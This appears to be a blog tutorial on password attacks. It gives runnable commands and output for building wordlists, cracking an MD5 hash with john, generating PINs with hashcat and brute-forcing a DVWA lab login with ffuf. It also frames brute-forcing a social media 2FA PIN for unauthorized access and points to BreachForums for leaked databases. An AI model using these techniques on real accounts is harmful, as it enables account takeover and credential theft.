Password Attacks 101
In today’s digital landscape, passwords serve as the primary gatekeepers of our online identities and sensitive information. However, these seemingly simple strings of characters are often the target of malicious cyber activities known as password attacks. A password attack involves attempts by hackers to gain unauthorized access to systems, accounts, or data by exploiting weak or poorly managed passwords. These attacks range from brute force and phishing to sophisticated credential-stuffing techniques. Understanding the various types of password attacks and their impact is essential for both individuals and organizations to strengthen their defenses against cyber threats.
Concepts you need to be familiar with before diving in.
- Hash
A hash is a fixed-size string or number generated by a cryptographic hash function from input data of any size. It is a one-way function, meaning it cannot be reversed to retrieve the original input. Hashes are commonly used for data integrity verification, password storage, and digital signatures.
Example:- Input:
"password123"
- Hash (using SHA-256):
ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f
Learn more: Wikipedia: Cryptographic Hash Function
- Input:
- Salt
A salt is a random value added to input data (e.g., a password) before hashing to ensure uniqueness and prevent attacks like rainbow table attacks. Salting makes it harder for attackers to precompute hashes for common inputs.
Example:- Password:
"password123"
- Salt:
"s0m3R@nd0mS@lt"
- Hashed result (password + salt):
sha256("password123s0m3R@nd0mS@lt")
Learn more: OWASP: Password Storage Cheat Sheet
- Password:
- Pepper
A pepper is a secret value added to input data (e.g., a password) before hashing, similar to a salt. Unlike a salt, the pepper is not stored in the database and is kept secret, adding an extra layer of security. It is often a static value shared across multiple hashes.
Example:- Password:
"password123"
- Pepper:
"s3cr3tP3pp3r"
- Hashed result (password + pepper):
sha256("password123s3cr3tP3pp3r")
Learn more: Auth0: Salting vs. Peppering
- Password:
- Encryption
Encryption is the process of converting plaintext (readable data) into ciphertext (unreadable data) using an algorithm and a key. It ensures confidentiality, allowing only authorized parties with the correct key to decrypt and access the original data.
Example:- Plaintext:
"Hello, World!"
- Encrypted (using AES-256):
U2FsdGVkX1+3n6l5z8a7cB1uZ2J4Y5V6
Learn more: Khan Academy: Encryption
- Plaintext:
- Public Key
A public key is one half of a key pair in asymmetric cryptography. It is shared openly and used to encrypt data or verify digital signatures. Data encrypted with a public key can only be decrypted with the corresponding private key.
Example:- Public Key:
-----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----
Learn more: Cloudflare: What is Public Key Cryptography?
- Public Key:
- Private Key
A private key is the other half of a key pair in asymmetric cryptography. It is kept secret and used to decrypt data encrypted with the corresponding public key or to create digital signatures. The private key must never be shared.
Example:- Private Key:
-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----
Learn more: SSL.com: Public and Private Keys
- Private Key:
- Signature
A digital signature is a cryptographic value generated using a private key to verify the authenticity and integrity of data (e.g., a message or document). It ensures that the data has not been tampered with and confirms the identity of the sender. The signature can be verified using the corresponding public key.
Example:- Message:
"Hello, World!"
- Signature:
3045022100...
(generated using the sender’s private key)
Learn more: Wikipedia: Digital Signature
- Message:
Default Passwords
One of the first techniques I attempt to do when facing a login page is simply trying the default password of that service and one of the most famous credentials is admin:admin
or admin:password
You can check the default passwords of various services.
- https://default-password.info
- https://192-168-1-1ip.mobi/default-router-passwords-list
- https://www.defaultpassword.com
- https://cirt.net/passwords
Leaked Passwords
Leaked passwords are like a gold mine for attackers because many people reuse the same password across different services. These passwords are often neither strong nor complex, even if they include symbols and numbers. When a database is leaked, attackers can extract passwords or password !. If the passwords are hashed, an additional step is required to crack them (We’ll talk about that later). Below are some examples of leaked databases:
- https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases
Alternatively, you can search for such databases on shiny onion forums like BreachForums.
Customized Wordlists
Customized wordlists are, in my opinion, one of the easiest things to create. For example, imagine encountering a WordPress login form during a CTF challenge, and the blog owner is named Machiavelli. He’s a tech-savvy individual writing about his new malware and boasting about how his OpSec is unbeatable. You decide to create a custom password list from his blog using a tool like Cewl.
1
cewl -d 3 -m 5 -w wordlist.txt https://machiavelli.dev
The -d
flag specifies the depth to spider, the -m
flag sets the minimum word length, the -w
flag defines the output file to save the results, and finally, the target URL is provided.
Usernames Wordlists
Now we have a bunch of passwords, but we don’t actually know which username might match them. To address this, we start generating a list of possible usernames. By simply knowing the first and last name, we can create a reasonably-sized wordlist to test alongside the password list.
Fortunately, there are plenty of tools available that can do this for us, so we don’t need to write our own code. Let’s take a look at one of them like Username-Anarchy as an example.
1
2
3
4
5
6
7
8
9
10
11
12
./username-anarchy anna key
anna
annakey
anna.key
annakey
annak
a.key
akey
kanna
k.anna
...
and so on
We can also take advantage of search engines by scraping data using tools like CrossLinked.
Keyspace Technique
The keyspace technique is a method where we specify a range of numbers, characters, and symbols, combining them to create a wordlist.
CUPP
CUPP - Common User Passwords Profiler is an interactive and easy tool for creating custom wordlists if we know some details about our target such as first, last name, company, petname and childname which is in this case Machiavelli the tech-savvy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
machiavelli@machiavelli:~# python3 cupp.py -i
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: Niccolo
> Surname: Bernardo
> Nickname: Machiavelli
> Birthdate (DDMMYYYY): 03051469
> Partners) name: Marietta
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
> Child's name: Guido
> Child's nickname: Guido
> Child's birthdate (DDMMYYYY):
> Pet's name: Lorenzo Medici
> Company name:
> Do you want to add some key words about the victim? Y/[N]: N
> Do you want to add special chars at the end of words? Y/[N]: N
> Do you want to add some random numbers at the end of words? Y/[N]:N
> Leet mode? (i.e. leet = 1337) Y/[N]: Y
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to niccolo.txt, counting 2188 words.
> Hyperspeed Print? (Y/n) : n
[+] Now load your pistolero with niccolo.txt and shoot! Good luck!
There’s also support for a 1337/leet mode for example machiavelli > m4ch14v3ll1
crunch
Another method for creating a wordlist is by using the keyspace technique. This approach involves specifying a range of characters, numbers, and symbols to generate the wordlist. One powerful tool for this purpose is Crunch, which allows us to customize the wordlist with various options, such as minimum and maximum lengths, as well as additional parameters, as shown below:
1
2
3
4
5
6
7
machiavelli@machiavelli:~# crunch 6 6 0123456789abcdefgABCDEFG -o list.txt
Crunch will now generate the following amount of data: 1337720832 bytes
1275 MB
1 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 191102976
Dictionary Attacks
Dictionary Attacks primarily focus on guessing passwords by using well-known words or phrases. These attacks rely on pre-gathered wordlists or leaked databases to systematically try potential passwords.
Imagine we have a hash obtained after dumping a database via SQL Injection. The hash is 234e6ebd1d0ddb1a5a39ac0cec6ebe85
. The first step in cracking this hash is to identify its type (e.g., MD5, SHA1, SHA256). The second step is to decide which attack mode to use and which wordlist will be most effective.
Hash Identification
We can use various tools to identify the hash type, such as:
For this example, I’ll use hash-identifier.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
machiavelli@machiavelli:~# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 234e6ebd1d0ddb1a5a39ac0cec6ebe85
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
Hash Cracking
Now that we have an MD5 hash to crack, I’ll use the well-known wordlist rockyou, which comes pre-installed on Parrot OS and Kali Linux with john to crack this hash which laso comes pre-installed on Parrot OS and Kali Linux.
1
2
3
4
5
6
7
8
9
machiavelli@machiavelli:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
machiavelli (?)
1g 0:00:00:00 DONE (2025-01-26 21:46) 3.030g/s 554472p/s 554472c/s 554472C/s mandy33..lupakan
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Yaaay we cracked our first hash.
Brute-Force Attacks
A Brute-Force attack aims to try all possible combinations of characters, including symbols and numbers, to guess a password or PIN.
For example, let’s assume we want to gain unauthorized access to a social media account. We know that the account 2FA uses a 4-digit PIN. With this knowledge, we can perform a brute-force attack that systematically tries every combination from 0000
to 9999
to guess the correct PIN.
Hashcat
includes a charset option that allows us to generate custom character combinations for cracking purposes.
1
2
3
4
5
6
7
8
9
10
11
12
13
machiavelli@machiavelli:~# hashcat --help
---
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz [a-z]
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ [A-Z]
d | 0123456789 [0-9]
h | 0123456789abcdef [0-9a-f]
H | 0123456789ABCDEF [0-9A-F]
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
---
We can use these charsets based on our specific needs. In our example, since we’re targeting a social media account with a 4-digit PIN, we can use the charset to generate all possible PIN combinations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
machiavelli@machiavelli:~# hashcat -a 3 ?d?d?d?d --stdout
1234
0234
2234
3234
9234
4234
5234
8234
7234
6234
1101
0101
2101
3101
9101
...
Command Breakdown
-a 3
Specifies the attack mode as a brute-force or mask attack.?d?d?d?d
The mask used to define the format of the combinations. Each?d
represents a single digit (0-9), so?d?d?d?d
generates all possible 4-digit PINs.--stdout
Outputs the generated combinations directly to the terminal instead of cracking a hash.
Another way to generate 4-digit or 6-digit PINs is by using the seq
command. This command can sequentially generate numbers with leading zeros, making it ideal for creating PIN combinations.
For example, to generate all 4-digit PINs (from 0000
to 9999
), you can use the following command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
machiavelli@machiavelli:~# seq -w 0 9999
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
...
## Rule-Based Attacks
The (rule-based)[https://hashcat.net/wiki/doku.php?id=rule_based_attack] attacks or hybrid attacks is like a programming language designed for password candidate generation. It has functions to modify, cut or extend words and has conditional operators to skip some, etc. That makes it the most flexible, accurate and efficient attack.
Through this attack we can expand our wordlist using [john](http://www.openwall.com/john) or [hashcat](https://hashcat.net/wiki/doku.php?id=hashcat).
### Rule-Based (John)
John has a configuration file contains rule sets you can find it at `/etc/john/john.conf` or `/opt/john/john.conf`.
We can look for the available rules:
```shell
machiavelli@machiavelli:~# grep "List.Rules:" /etc/john/john.conf | cut -d "." -f3 | cut -d ":" -f2 | tr -d "]" | tr -s "\n"
JumboSingle
o1
o2
i1
i2
o1
i1
o2
i2
best64
d3ad0ne
dive
InsidePro
T0XlC
rockyou-30000
specific
ShiftToggle
Split
Single
Extra
OldOffice
Single-Extra
Wordlist
ShiftToggle
Multiword
best64
UnicodeSubstitution
Jumbo
KoreLogic
T9
hashcat
I’ll use the t0xlc
rule which prepends the last character to the beginning of the word.
1
2
3
4
5
6
7
8
9
10
machiavelli@machiavelli:~# john --wordlist=/usr/share/wordlists/seclists/Passwords/openwall.net-all.txt --rules=t0xlc --stdout
51234
3abc12
dpasswor
dpassw
612345
snewpas
dnotuse
yHocke
tinterne
Custom Rules
Why don’t we create our own rule? Let’s create a rule that capitalizes the first letter and appends a random symbol at the end.
1
2
3
4
5
[List.Rules:CapitalizeAndAppendSymbol]
:
c ^A
:
c $[!@#$%^&*]
Add the above code to the /etc/john/john.conf or /opt/john/john.conf based on your distro.
Code Explanation
:
is the base rule, which means “do nothing” (use the word as-is).c ^A
capitalizes the first character of the word.c $[!@#$%^&*]
appends a random symbol from the list!@#$%^&*
to the end of the word.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
machiavelli@machiavelli:~# john --wordlist=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt --rules=CapitalizeAndAppendSymbol --stdout
Root@
Admin@
Test@
Guest@
Info@
Adm@
Mysql@
User@
Administrator@
Oracle@
Ftp@
Pi@
Puppet@
Ansible@
Ec2-user@
Vagrant@
Azureuser@
It will print the words with multiple symbols and forms.
Login pages brute-force
FFuf
FFuf is a web fuzzer written in Go that can be used for content discovery, parameter discovery, and Vhost discovery. We’ll use it to brute-force login pages.
First we’ll try brute-forcing using GET
method then POST
.
The vulnerable lab is DVWA
GET
Here we’re trying to brute-force the admin password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
machiavelli@machiavelli:~# ffuf -u "http://localhost:4280/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login" -c -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt -fs 4436 -H "Cookie: css_dark_mode=false; remember_token=defaultuser@changedetection.io|944643701d7eaf4435d6dabf09180720963153a8510359fc4aeee7eeaec680dc962b5017f211f9a49bcba9441023e354878583f2030cb7c112c3e68ed9008e85; security=low; PHPSESSID=7ab43eb74615da20f059669ff5e953d2" -rate 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://localhost:4280/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
:: Header : Cookie: css_dark_mode=false; remember_token=defaultuser@changedetection.io|944643701d7eaf4435d6dabf09180720963153a8510359fc4aeee7eeaec680dc962b5017f211f9a49bcba9441023e354878583f2030cb7c112c3e68ed9008e85; security=low; PHPSESSID=7ab43eb74615da20f059669ff5e953d2
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 4436
________________________________________________
password [Status: 200, Size: 4474, Words: 183, Lines: 112, Duration: 3ms]
:: Progress: [499/499] :: Job [1/1] :: 50 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
Code Explanation
-u
specifies the target URL- The
FUZZ
keyword acts as a placeholder that will be replaced with words from the wordlist (for password brute-forcing). - The request attempts to log in with
username=admin
and differentpassword
values.
- The
-c
Enables colored output for better readability.-w
specifies the wordlist file to use for fuzzing.-fs
(filter size) filters out responses that have a response body size of 4436 bytes (failed login attempts).-H
adds custom HTTP headers.- This includes a
Cookie
header, which is required for authentication (PHPSESSID). -rate
Limits the request rate to 50 requests per second to control fuzzing speed.
We can see that password
is a valid password!
POST
DVWA doesn’t provide brute-force functionality via POST, so I will explain how you can do it!
1
machiavelli@machiavelli:~# ffuf -X POST -d "username=admin\&password=FUZZ" -fc 401 -u "http://localhost:4280/login.php" -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
Code Explanation
-X
Specifies the HTTP method asPOST
(since login forms typically use POST requests).-d
(data) sends a POST request with form data.username=admin
The login attempt uses “admin” as the username.password=FUZZ
TheFUZZ
keyword will be replaced with values from the wordlist, allowing password brute-forcing.- The
\&
is used to escape the ampersand(&)
so it is correctly interpreted by the shell. -fc
(filter code) filters out HTTP responses with status code401
(Unauthorized) This helps ignore failed login attempts and focus on potential successes..-u
specifies the target URL(http://localhost:4280/login.php)
, where the login form is located.-w
(wordlist) defines the list of passwords to test against the login form we already know those flags.
Conclusion
I hope you learned something!
ولنلتقي في درسٍ آخر